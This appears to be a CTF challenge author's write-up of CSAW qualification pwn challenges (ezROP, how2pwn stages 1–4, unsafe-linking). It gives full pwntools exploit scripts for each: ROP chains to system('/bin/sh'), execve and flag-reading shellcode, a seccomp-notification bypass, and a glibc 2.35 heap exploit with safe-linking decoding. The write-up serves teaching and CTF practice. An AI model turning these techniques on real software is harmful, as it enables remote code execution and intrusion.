Prologue

A great honor to be one of the CSAW developers and I wrote three challenges for the CSAW qualification round.

You can get the attachment and source code from Osiris Lab

Cuz CSAW is an entry-level CTF, we would have lots of players who are very new to cybersecurity. I try to make my pwn challenges interesting and educational.

ezROP

This is an easy ROP/BOF challenge. I write this challenge for people who have little experience with ROP/BOF.

The basic idea is I write the program in a reverse way. For people who don’t have much pwn background,
they would read the source code and think “what the hell is this” or “I don’t believe we can compile it successfully”. After debugging and learning ROP, they can figure out the way how the program works and there is a buffer overflow vulnerability. So they can use the gadgets to build their attack-rop-chain.

The solution is similar to other ROP challenges we should

from pwn import *
# p = process("./ezROP")
p = remote("0.0.0.0",9999)
context.arch='amd64'
# gdb.attach(p,'b *0x401533')
# context.terminal = ['tmux', 'splitw', '-h', '-F' '#{pane_pid}', '-P']
sla     = lambda a,b:   p.sendlineafter(a,b)
rdi = 0x00000000004015a3
rsi = rdi-2
got = 0x000000000403fe8
plt = 0x4010a0
main = 0x40150b

sla("?\n",b"\0"*120+flat([rdi,got,plt,main,]))
p.readuntil("!\n")
base = u64(p.readline()[:-1]+b'\0\0') - (0x7ffff7e4c420-0x00007ffff7dc8000)
log.warning(hex(base))

ret = rdi+1
system = base +0x52290
sla("?\n",b"\0"*120+flat([rdi,base+0x1b45bd,ret,system]))

p.interactive()

More detailed Wp from players:

How2pwn

how2pwn is a series of educational challenges(4 stages). I write this challenge for people who have little experience on pwn. If you are new to pwn, don’t hesitate to start with this challenge.

I would just leave the exploit scripts here because there are enough hints in the challenges. And I believe if people read these hints and have learned OS&C Language, they are able to solve it.

chal1

from pwn import *
# context.log_level='debug'
# p = process("./chal1")
# p = remote("0.0.0.0", 60001)
p = remote("how2pwn.chal.csaw.io",60001)
v1 = 0x3b
v2 = hex(u64("/bin/sh\0"))
context.arch = 'amd64'
shellcode = f'''
xor rax, rax
xor rdi, rdi
xor rsi, rsi
xor rdx, rdx
mov rax, {v1}
mov rdi, {v2}
push rdi
mov rdi, rsp
syscall 
'''
p.sendlineafter(": \n",asm(shellcode).ljust(0x100,b'\0'))
p.interactive()

chal2

from pwn import *
# p = process("./chal2")
# context.terminal = ['tmux', 'splitw', '-h', '-F' '#{pane_pid}', '-P']
debug = 0
if debug:
    p = process("./chal2")
else:
    p = remote("how2pwn.chal.csaw.io",60002)
    # p = remote("0.0.0.0",60002)
    with open("./ticket2",'r') as f:
        ticket = f.read().strip()
    p.send(ticket)
    
context.arch = 'amd64'
shellcode = f'''
mov rdx,0x100
syscall
'''
shellcode = asm(shellcode)
p.sendafter(": \n",shellcode.ljust(0x10,b'\0'))
p.send(b"\x90"*len(shellcode)+asm(shellcraft.sh()))
p.interactive()

chal3

from pwn import *
# context.log_level='debug'
debug = 0
if debug:
    p = process("./chal3")
else:
    p = remote("how2pwn.chal.csaw.io",60003)
    # p = remote("0.0.0.0", 60003)
with open("./ticket3",'r') as f:
    ticket = f.read().strip()
p.send(ticket)


context.arch = 'amd64'
shellcode = f'''
xor rax,rax
mov al,0x9
mov rdi,0xcafe0000
mov rsi,0x2000
mov rdx,0x7
mov r10,0x21
xor r8,r8
xor r9,r9
syscall
xor rdi,rdi
mov rsi,rax
xor rdx,rdx
inc rdx
shl rdx,8
xor rax,rax
syscall
mov rax,0x2300000000
xor rsi,rax
push rsi
'''
# retf

# gdb.attach(p)
shellcode = asm(shellcode)+b'\xcb'
print("[+] len of shellcode: "+str(len(shellcode)))
p.sendafter(": \n",shellcode.ljust(0x100,b'\0'))

context.arch='i386'
context.bits=32
flag_path_1 = hex(u32(b"/fla"))
flag_path_2 = hex(u32(b"g\0\0\0"))
shellcode=f'''
mov esp, 0xcafe0100
xor eax,eax
mov al,0x5
push {flag_path_2}
push {flag_path_1}
mov ebx,esp
xor ecx,ecx
xor edx,edx
int 0x80
mov ebx,eax
mov al,0x3
mov ecx,0xcafe0400
mov edx,0x1c00
int 0x80
mov eax,0x4
mov ebx,0x1
mov edx,0x1c00
int 0x80
'''
# input()
shellcode = asm(shellcode)
print("[+] len of shellcode: "+str(len(shellcode)))

p.send(shellcode)
# while(1):
#     flag = p.read()
#     print(flag)
#     if b"Segmentation fault\n" in flag:
#         break
p.interactive()
p.close()

chal4

from pwn import *
context.terminal = ['tmux', 'splitw', '-h', '-F' '#{pane_pid}', '-P']
debug = 0
if debug:
    p = process("./chal4")
else:
    p = remote("how2pwn.chal.csaw.io",60004)
    # p = remote("0.0.0.0",60004)
with open("./ticket4",'r') as f:
    ticket = f.read().strip()
p.send(ticket)

context.arch = 'amd64'
shellcode = f'''
    mov esp,0xcafe800
    mov rsi,0x8
    mov rbx,0x7fff000000000006
    push rbx
    mov rbx,0x7fc0000000000006
    push rbx
    mov rbx,0xc000003e00010015
    push rbx
    mov rbx, 0x400000020
    push rbx
    mov rbx,rsp
    push rbx
    xor rbx,rbx
    mov bl,0x4
    push rbx
    mov rdx,rsp
    mov rax,0x13d
    mov rdi,1
    syscall
    mov r8,rax
    mov al,0x39
    syscall
    cmp rax,0
    je child_process
parent_process:
    xor rax,rax
clean_req_and_resp:
    mov ecx, 0xd
    mov rdx,0xcafec00
loop:
    mov qword ptr [rdx],rax
    dec rcx
    add dl,0x8
    cmp rcx,0
    jne loop
recv:
    mov rax,0x10
    mov rdi,r8
    mov rsi,0xc0502100
    mov rdx,0xcafec00
    syscall
copy_id_of_resp:
    mov rax, 0xcafec00
    mov rbx, qword ptr[rax]
    add al,0x50
    mov qword ptr[rax], rbx
set_flags_of_resp:
    add al,0x14
    mov rbx,1
    mov dword ptr[rax], ebx
resp:
    xor rax,rax
    mov al,0x10
    mov rdi,r8
    mov esi,0xC0182101
    mov edx,0xcafec50
    syscall
    jmp parent_process
child_process:
    mov rcx,0x10000
wait_loop:
    dec rcx
    cmp rcx,0
    jne wait_loop
show_flag:
    mov rax,0x230cafe180
    push rax 
'''
X32_showflag ='''
    mov eax, 0x5
    mov ebx,0xcafe1f0
    xor ecx,ecx
    xor edx,edx
    int 0x80
    mov ebx,eax
    mov eax, 3
    mov ecx,esp
    mov cl,0x00
    mov edx,0x200
    int 0x80
    mov eax,0x4
    mov ebx,0x1
    int 0x80
'''

shellcode = asm(shellcode)+b'\xcb'
context.arch = 'i386'
context.bits = 32
shellcode = shellcode.ljust(0x180,b'\0') + asm(X32_showflag)
context.log_level='debug'
# gdb.attach(p)
p.sendafter(": \n",(shellcode).ljust(0x1f0,b'\0')+b"/flag\0")
p.interactive()

unsafe-linking

It’s a Glibc-heap challenge that uses the latest LTS Glibc(2.35). There is a simple UAF in free which allows people to leak heap_base address, glibc_base address, and stack address. After leaking these important base addresses, the attackers could use heap exploitation to write arbitrary addresses. But unluckily, hooks are removed in Glibc-2.35, they have to use FSOP or ROP to get a shell.

Basically, this challenge is a menu-heap challenge. And the only thing special is the leaking part. It only allows leaking once. Also, it’s encoded by safe-linking and People are asked to recover the data with math or z3. Moreover, I build a repo to show my ways to decode the safe-linking protected data. I think this skill is useful cuz it only needs to leak once and can make your exploit easier.

Solution:

# Author: n132 (xm2146@nyu.edu)
# There is a certain chance of failure, too lazy to write a perfect exp 
# ----------------------------------------------------------------------
# You don't have to use z3 to compute the original val of leaked address. 
# I did use math to compute that but I chose to show the z3 solution cuz
# math solution hurt my brain. I wrote this challenge to show an useless 
# skill: decode *any* leaked safelinking value only if we know the some 
# relative values -> (page_offset & last 12bits of the value) :)  --n132
# There is a general solver for leaked safelinking value:
#           https://github.com/n132/Dec-Safe-Linking/tree/main
# ----------------------------------------------------------------------

from pwn import *
from z3 import *
T = 0x2
context.arch='amd64'
context.terminal = ['tmux', 'splitw', '-h', '-F' '#{pane_pid}', '-P']
p = remote("pwn.chal.csaw.io",5000)
# p= process("./unsafe-linking",env={"LD_PRELOAD":"./libc.so.6"})
# p=remote("0.0.0.0",9999)
sla     = lambda a,b:   p.sendlineafter(a,b,timeout=T)
sa      = lambda a,b:   p.sendafter(a,b,timeout=T)
# gdb.attach(p)
def cmd(c):
    sla("> ",str(c).encode())
def add(idx,size,sec = 0, c=b""):
    cmd(1)
    sla(")\n",str(sec).encode())
    sla("?\n",str(idx).encode())
    if(sec==0):
        sla("?\n",str(size).encode())
    sla(":\n",c)
def free(idx):
    cmd(2)
    sla("?\n",str(idx).encode())
def show(idx):
    cmd(3)
    sla("?\n",str(idx).encode())
def tcache(idx,val,ct=1):
    t1 = [0]*0x80
    t1[idx*2] = ct
    p1= b''
    for x in range(0x80):
        p1+=p8(t1[x])
    p2 = [0]*0x40
    p2[idx] = val
    p2 = flat(p2)
    return p1+p2
def sol(leaked,off,orecal):
    # log.warning(hex(leaked))
    # log.warning(hex(off))
    # log.warning(hex(orecal))
    leaked = BitVecVal(leaked, 48)
    orecal = BitVecVal(orecal, 48)
    off  = BitVecVal(off,48)

    page_addr = BitVec('page_addr', 48)
    res = BitVec('res', 48)
    rnd = BitVec('rnd', 48)

    s = Solver()

    s.add(((page_addr^res)^rnd)==leaked)
    s.add(page_addr == (res>>12))
    s.add(((page_addr^res)>>12)+off==rnd)

    s.add((page_addr>>36) == 0)
    s.add((rnd>>36) == 0)

    s.add(orecal == (res<<36)>>36)

    if str(s.check()) == 'sat':
        m = s.model()
        # print(m)
        return  m.evaluate(res).as_long()
    else:
        print(s.check())
        exit(1)

# Leak heap base
add(0,0x18)
add(1,0x18)
free(0)
free(1)

add(2,0x28)
add(3,0x18,1)
show(3)

p.readuntil("Secret ")
heap    = int(p.readuntil("(")[:-1],16)
p.readuntil("off= ")
off     = int(p.readuntil(")")[:-1],16)
heap    = sol(heap,off,0x4b0) - 0x14b0
log.warning("HEAP BASE: "+hex(heap))

# IO_FILE LEAK 
# Attack IO_FILE on heap
add(0,0x18)
add(1,0x18)

add(2,0x418)

free(0)
free(1)
add(3,0x28)
add(4,0x18,0,p64(heap+0x10))
free(0)
add(0,0x288,0,tcache(12,heap+0x2a0))
free(2)
# 
# context.log_level='debug'
target = 0x15c0+heap
add(1,0xd8,0,flat([0x1802,target,target+8,target+8,target,target+8,target+8]))


base = u64(p.readuntil(b'\xff')[:-1],timeout=T)-0x219ce0
log.warning("LIBC BASE: "+hex(base))
free(1)

target = 0x221200+base
add(1,0x1d8,0,flat([0x1802,target,target+8,target+8,target,target+8,target+8]))
# context.log_level='debug'

# p.interactive()
stack = u64(p.readuntil(b'\xff',timeout=T)[:-1])
log.warning("STACK ADD: "+hex(stack))

free(1)                                 # One more 0x18
free(0)                                 # tcache table 
add(0,0x288,0,tcache(63,stack-0x308))   # Points to stack buf, allocate a chunk as large as possible

# ROP 
ret     = 0x29cd6  +base
rdi     = 0x2a3e5  +base
binsh   = 0x1d8698 +base
system  = 0x50d60  +base
# gdb.attach(p,'')
add(1,0x408,0,b'\xff'*0x141+p64(ret)*0x21+flat([rdi,binsh,system]))

p.interactive()

More detailed Wp from players: